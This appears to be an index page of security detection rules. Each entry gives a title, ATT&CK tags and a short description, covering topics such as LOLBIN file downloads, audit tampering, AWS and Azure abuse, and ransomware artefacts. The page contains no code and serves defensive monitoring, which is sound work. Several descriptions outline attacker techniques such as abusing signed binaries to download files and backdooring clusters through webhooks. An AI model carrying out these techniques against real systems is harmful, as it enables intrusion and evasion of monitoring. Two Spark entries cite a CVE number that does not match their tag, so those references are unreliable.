Aug 12, 2024 · attack.impact attack.t1499.004 ·

Share on:

Detects a segmentation fault error message caused by a crashing apache worker process

Apache Spark Shell Command Injection - ProcessCreation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-33891 ·

Share on:

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective

Apache Spark Shell Command Injection - Weblogs

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-33891 detection.emerging-threats ·

Share on:

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective

Apache Threading Error

Aug 12, 2024 · attack.initial-access attack.lateral-movement attack.t1190 attack.t1210 ·

Share on:

Detects an issue in apache logs that reports threading related errors

App Granted Microsoft Permissions

Aug 12, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD

App Granted Privileged Delegated Or App Permissions

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·

Share on:

Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions

Application AppID Uri Configuration Changes

Aug 12, 2024 · attack.persistence attack.credential-access attack.privilege-escalation attack.t1552 attack.t1078.004 ·

Share on:

Detects when a configuration change is made to an applications AppID URI.

Application Removed Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·

Share on:

Detects the removal or uninstallation of an application via "Wmic.EXE".

Application Terminated Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·

Share on:

Detects calls to the "terminate" function via wmic in order to kill an application

Application Uninstalled

Aug 12, 2024 · attack.impact attack.t1489 ·

Share on:

An application has been removed. Check if it is critical.

Application URI Configuration Changes

Aug 12, 2024 · attack.t1528 attack.t1078.004 attack.persistence attack.credential-access attack.privilege-escalation ·

Share on:

Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.

Application Using Device Code Authentication Flow

Aug 12, 2024 · attack.t1078 attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access ·

Share on:

Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.

Applications That Are Using ROPC Authentication Flow

Aug 12, 2024 · attack.t1078 attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access ·

Share on:

Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.

AppX Package Installation Attempts Via AppInstaller.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL

APT PRIVATELOG Image Load Pattern

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 detection.emerging-threats ·

Share on:

Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances

APT User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects suspicious user agent strings used in APT malware in proxy logs

APT27 - Emissary Panda Activity

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.g0027 detection.emerging-threats ·

Share on:

Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27

APT29 2018 Phishing Campaign CommandLine Indicators

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 detection.emerging-threats ·

Share on:

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

APT29 2018 Phishing Campaign File Indicators

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

APT31 Judgement Panda Activity

Aug 12, 2024 · attack.lateral-movement attack.credential-access attack.g0128 attack.t1003.001 attack.t1560.001 detection.emerging-threats ·

Share on:

Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report

APT40 Dropbox Tool User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.exfiltration attack.t1567.002 ·

Share on:

Detects suspicious user agent string of APT40 Dropbox tool

Arbitrary Binary Execution Using GUP Utility

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of the Notepad++ updater (gup) to launch other commands or executables

Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via Dotnet.EXE.

Arbitrary File Download Via ConfigSecurityPolicy.EXE

Aug 12, 2024 · attack.exfiltration attack.t1567 ·

Share on:

Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files.

Arbitrary File Download Via GfxDownloadWrapper.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.

Arbitrary File Download Via MSOHTMED.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of "MSOHTMED" to download arbitrary files

Arbitrary File Download Via MSPUB.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

Arbitrary File Download Via PresentationHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files

Arbitrary MSI Download Via Devinit.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·

Share on:

Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system

Arbitrary Shell Command Execution Via Settingcontent-Ms

Aug 12, 2024 · attack.t1204 attack.t1566.001 attack.execution attack.initial-access ·

Share on:

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

Arcadyan Router Exploitations

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-20090 cve.2021-20091 detection.emerging-threats ·

Share on:

Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.

Aruba Network Service Potential DLL Sideloading

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1574.001 attack.t1574.002 ·

Share on:

Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking

AspNetCompiler Execution

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·

Share on:

Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.

Assembly DLL Creation Via AspNetCompiler

Aug 12, 2024 · attack.execution ·

Share on:

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

Assembly Loading Via CL_LoadAssembly.ps1

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·

Share on:

Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.

Atbroker Registry Change

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.persistence attack.t1547 ·

Share on:

Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'

Atera Agent Installation

Aug 12, 2024 · attack.t1219 ·

Share on:

Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators

Atlassian Bitbucket Command Injection Via Archive API

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-36804 detection.emerging-threats ·

Share on:

Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804

Atlassian Confluence CVE-2022-26134

Aug 12, 2024 · attack.initial-access attack.execution attack.t1190 attack.t1059 cve.2022-26134 ·

Share on:

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

Atypical Travel

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·

Share on:

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

Audio Capture

Aug 12, 2024 · attack.collection attack.t1123 ·

Share on:

Detects attempts to record audio with arecord utility

Audio Capture via PowerShell

Aug 12, 2024 · attack.collection attack.t1123 ·

Share on:

Detects audio capture via PowerShell Cmdlet.

Audio Capture via SoundRecorder

Aug 12, 2024 · attack.collection attack.t1123 ·

Share on:

Detect attacker collecting audio via SoundRecorder application.

Audit CVE Event

Aug 12, 2024 · attack.execution attack.t1203 attack.privilege-escalation attack.t1068 attack.defense-evasion attack.t1211 attack.credential-access attack.t1212 attack.lateral-movement attack.t1210 attack.impact attack.t1499.004 ·

Share on:

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

Audit Policy Tampering Via Auditpol

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

Audit Policy Tampering Via NT Resource Kit Auditpol

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

Auditing Configuration Changes on Linux Host

Aug 12, 2024 · attack.defense-evasion attack.t1562.006 ·

Share on:

Detect changes in auditd configuration files

Authentications To Important Apps Using Single Factor Authentication

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detect when authentications to important application(s) only required single-factor authentication

Automated Collection Bookmarks Using Get-ChildItem PowerShell

Aug 12, 2024 · attack.discovery attack.t1217 ·

Share on:

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Automated Collection Command PowerShell

Aug 12, 2024 · attack.collection attack.t1119 ·

Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

Automated Collection Command Prompt

Aug 12, 2024 · attack.collection attack.t1119 attack.credential-access attack.t1552.001 ·

Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·

Share on:

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·

Share on:

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

AWS CloudTrail Important Change

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling, deleting and updating of a Trail

AWS Config Disabling Channel/Recorder

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects AWS Config Service disabling

AWS EC2 Disable EBS Encryption

Aug 12, 2024 · attack.impact attack.t1486 attack.t1565 ·

Share on:

Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.

AWS EC2 Startup Shell Script Change

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1059.003 attack.t1059.004 ·

Share on:

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

AWS EC2 VM Export Failure

Aug 12, 2024 · attack.collection attack.t1005 attack.exfiltration attack.t1537 ·

Share on:

An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.

AWS ECS Task Definition That Queries The Credential Endpoint

Aug 12, 2024 · attack.persistence attack.t1525 ·

Share on:

Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.

AWS EFS Fileshare Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.

AWS EFS Fileshare Mount Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1485 ·

Share on:

Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.

AWS EKS Cluster Created or Deleted

Aug 12, 2024 · attack.impact attack.t1485 ·

Share on:

Identifies when an EKS cluster is created or deleted.

AWS ElastiCache Security Group Created

Aug 12, 2024 · attack.persistence attack.t1136 attack.t1136.003 ·

Share on:

Detects when an ElastiCache security group has been created.

AWS ElastiCache Security Group Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·

Share on:

Identifies when an ElastiCache security group has been modified or deleted.

AWS Glue Development Endpoint Activity

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects possible suspicious glue development endpoint activity.

AWS GuardDuty Important Change

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.

AWS IAM Backdoor Users Keys

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.

AWS IAM S3Browser LoginProfile Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·

Share on:

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

AWS IAM S3Browser Templated S3 Bucket Policy Creation

Aug 12, 2024 · attack.execution attack.t1059.009 attack.persistence attack.t1078.004 ·

Share on:

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".

AWS IAM S3Browser User or AccessKey Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·

Share on:

Detects S3 Browser utility creating IAM User or AccessKey.

AWS Identity Center Identity Provider Change

Aug 12, 2024 · attack.persistence attack.t1556 ·

Share on:

Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.

AWS RDS Master Password Change

Aug 12, 2024 · attack.exfiltration attack.t1020 ·

Share on:

Detects the change of database master password. It may be a part of data exfiltration.

AWS Root Credentials

Aug 12, 2024 · attack.privilege-escalation attack.t1078.004 ·

Share on:

Detects AWS root account usage

AWS Route 53 Domain Transfer Lock Disabled

Aug 12, 2024 · attack.persistence attack.credential-access attack.t1098 ·

Share on:

Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.

AWS Route 53 Domain Transferred to Another Account

Aug 12, 2024 · attack.persistence attack.credential-access attack.t1098 ·

Share on:

Detects when a request has been made to transfer a Route 53 domain to another AWS account.

AWS S3 Data Management Tampering

Aug 12, 2024 · attack.exfiltration attack.t1537 ·

Share on:

Detects when a user tampers with S3 data management in Amazon Web Services.

AWS SecurityHub Findings Evasion

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects the modification of the findings on SecurityHub.

AWS Snapshot Backup Exfiltration

Aug 12, 2024 · attack.exfiltration attack.t1537 ·

Share on:

Detects the modification of an EC2 snapshot's permissions to enable access from another account

AWS STS AssumeRole Misuse

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.t1548 attack.t1550 attack.t1550.001 ·

Share on:

Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.

AWS STS GetSessionToken Misuse

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.t1548 attack.t1550 attack.t1550.001 ·

Share on:

Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.

AWS Suspicious SAML Activity

Aug 12, 2024 · attack.initial-access attack.t1078 attack.lateral-movement attack.t1548 attack.privilege-escalation attack.t1550 attack.t1550.001 ·

Share on:

Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.

AWS User Login Profile Was Modified

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.

Azure Active Directory Hybrid Health AD FS New Server

Aug 12, 2024 · attack.defense-evasion attack.t1578 ·

Share on:

This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.

Azure Active Directory Hybrid Health AD FS Service Delete

Aug 12, 2024 · attack.defense-evasion attack.t1578.003 ·

Share on:

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

Azure AD Account Credential Leaked

Aug 12, 2024 · attack.t1589 attack.reconnaissance ·

Share on:

Indicates that the user's valid credentials have been leaked.

Azure AD Health Monitoring Agent Registry Keys Access

Aug 12, 2024 · attack.discovery attack.t1012 ·

Share on:

This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.

Azure AD Health Service Agents Registry Keys Access

Aug 12, 2024 · attack.discovery attack.t1012 ·

Share on:

This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.

Azure AD Only Single Factor Authentication Required

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1556.006 ·

Share on:

Detect when users are authenticating without MFA being required.

Azure AD Threat Intelligence

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·

Share on:

Indicates user activity that is unusual for the user or consistent with known attack patterns.

Azure Application Credential Modified

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a application credential is modified.

Azure Application Deleted

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1489 ·

Share on:

Identifies when a application is deleted in Azure.

Azure Application Gateway Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a application gateway is modified or deleted.

Azure Application Security Group Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a application security group is modified or deleted.

Azure Container Registry Created or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when a Container Registry is created or deleted.

Azure Device No Longer Managed or Compliant

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a device in azure is no longer managed or compliant

Azure Device or Configuration Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1485 attack.t1565.001 ·

Share on:

Identifies when a device or device configuration in azure is modified or deleted.

Azure DNS Zone Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1565.001 ·

Share on:

Identifies when DNS zone is modified or deleted.

Azure Domain Federation Settings Modified

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Identifies when an user or application modified the federation settings on the domain.

Azure Firewall Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.004 ·

Share on:

Identifies when a firewall is created, modified, or deleted.

Azure Firewall Rule Collection Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.004 ·

Share on:

Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.

Azure Firewall Rule Configuration Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a Firewall Rule Configuration is Modified or Deleted.

Azure Key Vault Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·

Share on:

Identifies when a key vault is modified or deleted.

Azure Keyvault Key Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·

Share on:

Identifies when a Keyvault Key is modified or deleted in Azure.

Azure Keyvault Secrets Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·

Share on:

Identifies when secrets are modified or deleted in Azure.

Azure Kubernetes Admission Controller

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·

Share on:

Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

Azure Kubernetes Cluster Created or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when a Azure Kubernetes Cluster is created or deleted.

Azure Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.t1053.003 attack.privilege-escalation attack.execution ·

Share on:

Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Azure Kubernetes Events Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562 attack.t1562.001 ·

Share on:

Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.

Azure Kubernetes Network Policy Change

Aug 12, 2024 · attack.impact attack.credential-access ·

Share on:

Identifies when a Azure Kubernetes network policy is modified or deleted.

Azure Kubernetes Pods Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies the deletion of Azure Kubernetes Pods.

Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted

Aug 12, 2024 · attack.impact attack.credential-access ·

Share on:

Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.

Azure Kubernetes Secret or Config Object Access

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.

Azure Kubernetes Sensitive Role Access

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when ClusterRoles/Roles are being modified or deleted.

Azure Kubernetes Service Account Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·

Share on:

Identifies when a service account is modified or deleted.

Azure Network Firewall Policy Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.007 ·

Share on:

Identifies when a Firewall Policy is Modified or Deleted.

Azure Network Security Configuration Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a network security configuration is modified or deleted.

Azure New CloudShell Created

Aug 12, 2024 · attack.execution attack.t1059 ·

Share on:

Identifies when a new cloudshell is created inside of Azure portal.

Azure Owner Removed From Application or Service Principal

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Identifies when a owner is was removed from a application or service principal in Azure.

Azure Point-to-site VPN Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a Point-to-site VPN is Modified or Deleted.

Azure Service Principal Created

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Identifies when a service principal is created in Azure.

Azure Service Principal Removed

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Identifies when a service principal was removed in Azure.

Azure Subscription Permission Elevation Via ActivityLogs

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·

Share on:

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

Azure Subscription Permission Elevation Via AuditLogs

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

Azure Suppression Rule Created

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.

Azure Unusual Authentication Interruption

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detects when there is a interruption in the authentication process.

Azure Virtual Network Device Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.

Azure Virtual Network Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a Virtual Network is modified or deleted in Azure.

Azure VPN Connection Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a VPN connection is modified or deleted.

Backup Catalog Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects backup catalog deletions

Bad Opsec Powershell Code Artifacts

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

Base64 Encoded PowerShell Command Detected

Aug 12, 2024 · attack.t1027 attack.defense-evasion attack.t1140 attack.t1059.001 ·

Share on:

Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string

Base64 MZ Header In CommandLine

Aug 12, 2024 · attack.execution ·

Share on:

Detects encoded base64 MZ header in the commandline

Bash Interactive Shell

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of the bash shell with the interactive flag "-i".

Binary Padding - Linux

Aug 12, 2024 · attack.defense-evasion attack.t1027.001 ·

Share on:

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

Binary Padding - MacOS

Aug 12, 2024 · attack.defense-evasion attack.t1027.001 ·

Share on:

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

Bitlocker Key Retrieval

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·

Share on:

Monitor and alert for Bitlocker key retrieval.

BitLockerTogo.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.

BITS Transfer Job Download From Direct IP

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·

Share on:

Detects a BITS transfer job downloading file(s) from a direct IP address.

BITS Transfer Job Download To Potential Suspicious Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·

Share on:

Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location

BITS Transfer Job Downloading File Potential Suspicious Extension

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·

Share on:

Detects new BITS transfer job saving local files with potential suspicious extensions

Bitsadmin to Uncommon IP Server Address

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.defense-evasion attack.persistence attack.t1197 attack.s0190 ·

Share on:

Detects Bitsadmin connections to IP addresses instead of FQDN names

Bitsadmin to Uncommon TLD

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.defense-evasion attack.persistence attack.t1197 attack.s0190 ·

Share on:

Detects Bitsadmin connections to domains with uncommon TLDs

Blackbyte Ransomware Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption

BloodHound Collection Files

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·

Share on:

Detects default file names outputted by the BloodHound collection tool SharpHound

Blue Mockingbird

Aug 12, 2024 · attack.execution attack.t1112 attack.t1047 detection.emerging-threats ·

Share on:

Attempts to detect system changes made by Blue Mockingbird

Blue Mockingbird - Registry

Aug 12, 2024 · attack.execution attack.t1112 attack.t1047 ·

Share on:

Attempts to detect system changes made by Blue Mockingbird

BlueSky Ransomware Artefacts

Aug 12, 2024 · attack.impact attack.t1486 detection.emerging-threats ·

Share on:

Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt.

Boot Configuration Tampering Via Bcdedit.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.

BPFDoor Abnormal Process ID or Lock File Accessed

